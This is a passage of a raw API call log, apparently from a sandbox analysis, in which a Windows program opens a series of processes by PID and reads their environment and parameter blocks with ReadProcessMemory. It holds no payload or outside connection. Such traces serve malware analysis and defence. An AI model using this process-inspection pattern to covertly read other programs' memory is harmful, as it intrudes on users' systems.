ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1fedd303048, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0235.267] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0235.268] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0235.269] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xb735b0c020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0235.269] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1fedd302a30, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0235.269] malloc (_Size=0x82) returned 0x20abc284f50 [0235.269] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1fedd303088, lpBuffer=0x20abc284f50, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f50*, lpNumberOfBytesRead=0x0) returned 1 [0235.270] free (_Block=0x20abc284f50) [0235.271] CloseHandle (hObject=0x464) returned 1 [0235.271] _ui64tow_s (in: _Value=0x45c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1116") returned 0x0 [0235.276] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1116") returned 4 [0235.277] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0235.277] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0235.294] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x464 [0235.294] GetLastError () returned 0x0 [0235.295] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0235.295] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xd23f744018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0235.295] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0235.295] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1ed07003460, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0235.296] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1ed070030c8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0235.298] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0235.299] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0235.299] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xd23f744020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0235.300] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1ed07002ab0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0235.300] malloc (_Size=0x66) returned 0x20abc280290 [0235.300] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1ed07003108, lpBuffer=0x20abc280290, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280290*, lpNumberOfBytesRead=0x0) returned 1 [0235.301] free (_Block=0x20abc280290) [0235.302] CloseHandle (hObject=0x464) returned 1 [0235.303] _ui64tow_s (in: _Value=0x508, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1288") returned 0x0 [0235.406] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1288") returned 4 [0235.407] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0235.408] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0235.425] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x508) returned 0x464 [0235.425] GetLastError () returned 0x0 [0235.426] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0235.426] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f6018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0235.426] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0235.427] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc1b70, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0235.427] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc1818, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0235.428] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0235.429] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0235.430] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f6020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0235.430] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc1200, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0235.430] malloc (_Size=0x42) returned 0x20abc27cb20 [0235.430] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc1858, lpBuffer=0x20abc27cb20, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cb20*, lpNumberOfBytesRead=0x0) returned 1 [0235.431] free (_Block=0x20abc27cb20) [0235.432] CloseHandle (hObject=0x464) returned 1 [0235.432] _ui64tow_s (in: _Value=0x538, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1336") returned 0x0 [0235.437] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1336") returned 4 [0235.438] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0235.438] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0235.551] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x538) returned 0x464 [0235.551] GetLastError () returned 0x0 [0235.552] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0235.552] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4bc399b018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0235.553] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0235.553] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x191c2351bf0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0235.554] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x191c23518c8, lpBuffer=0x2dc24fc2d0, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0235.555] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0235.556] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0235.557] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4bc399b020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0235.557] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x191c23512b0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0235.557] malloc (_Size=0x18) returned 0x20abc282000 [0235.557] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x191c2351906, lpBuffer=0x20abc282000, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282000*, lpNumberOfBytesRead=0x0) returned 1 [0235.557] free (_Block=0x20abc282000) [0235.558] CloseHandle (hObject=0x464) returned 1 [0235.558] _ui64tow_s (in: _Value=0x604, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1540") returned 0x0 [0235.563] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1540") returned 4 [0235.564] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0235.564] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0235.582] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x604) returned 0x464 [0235.582] GetLastError () returned 0x0 [0235.583] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0235.583] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xdc7c19c018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0235.584] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0235.584] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x294a79034a0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0235.584] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x294a79030e8, lpBuffer=0x2dc24fc2d0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0235.709] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0235.711] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0235.711] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xdc7c19c020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0235.711] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x294a7902ad0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0235.711] malloc (_Size=0x64) returned 0x20abc2801b0 [0235.711] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x294a7903134, lpBuffer=0x20abc2801b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0235.712] free (_Block=0x20abc2801b0) [0235.713] CloseHandle (hObject=0x464) returned 1 [0235.713] _ui64tow_s (in: _Value=0x644, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1604") returned 0x0 [0235.717] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1604") returned 4 [0235.719] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0235.719] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0235.734] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x644) returned 0x464 [0235.734] GetLastError () returned 0x0 [0235.735] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0235.735] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xb845380018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0235.735] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0235.735] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2498de033e0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0235.736] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2498de03048, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0235.737] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0235.738] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0235.738] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xb845380020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0235.739] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2498de02a30, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0235.739] malloc (_Size=0x5a) returned 0x20abc2801b0 [0235.739] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2498de03088, lpBuffer=0x20abc2801b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0235.740] free (_Block=0x20abc2801b0) [0235.741] CloseHandle (hObject=0x464) returned 1 [0235.741] _ui64tow_s (in: _Value=0x778, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1912") returned 0x0 [0235.849] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1912") returned 4 [0235.851] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0235.851] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0235.865] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x778) returned 0x464 [0235.865] GetLastError () returned 0x0 [0235.866] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0235.866] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ba018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0235.867] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0235.867] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x511c50, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0235.867] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5118e8, lpBuffer=0x2dc24fc2d0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0235.868] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0235.870] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0235.870] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ba020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0235.870] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5112d0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0235.870] malloc (_Size=0x32) returned 0x20abc280fd0 [0235.871] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x511918, lpBuffer=0x20abc280fd0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280fd0*, lpNumberOfBytesRead=0x0) returned 1 [0235.873] free (_Block=0x20abc280fd0) [0235.874] CloseHandle (hObject=0x464) returned 1 [0235.874] _ui64tow_s (in: _Value=0x7fc, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2044") returned 0x0 [0235.879] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="2044") returned 4 [0235.880] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0235.880] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0236.001] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7fc) returned 0x464 [0236.001] GetLastError () returned 0x0 [0236.002] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0236.002] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc51ffb018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0236.002] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0236.002] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x18d4c0e1c70, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0236.003] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x18d4c0e18c8, lpBuffer=0x2dc24fc2d0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0236.004] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0236.005] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0236.005] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc51ffb020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0236.005] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x18d4c0e12b0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0236.006] malloc (_Size=0x6c) returned 0x20abc284f50 [0236.006] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x18d4c0e190c, lpBuffer=0x20abc284f50, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284f50*, lpNumberOfBytesRead=0x0) returned 1 [0236.006] free (_Block=0x20abc284f50) [0236.007] CloseHandle (hObject=0x464) returned 1 [0236.008] _ui64tow_s (in: _Value=0x8b4, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2228") returned 0x0 [0236.011] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="2228") returned 4 [0236.012] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0236.012] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 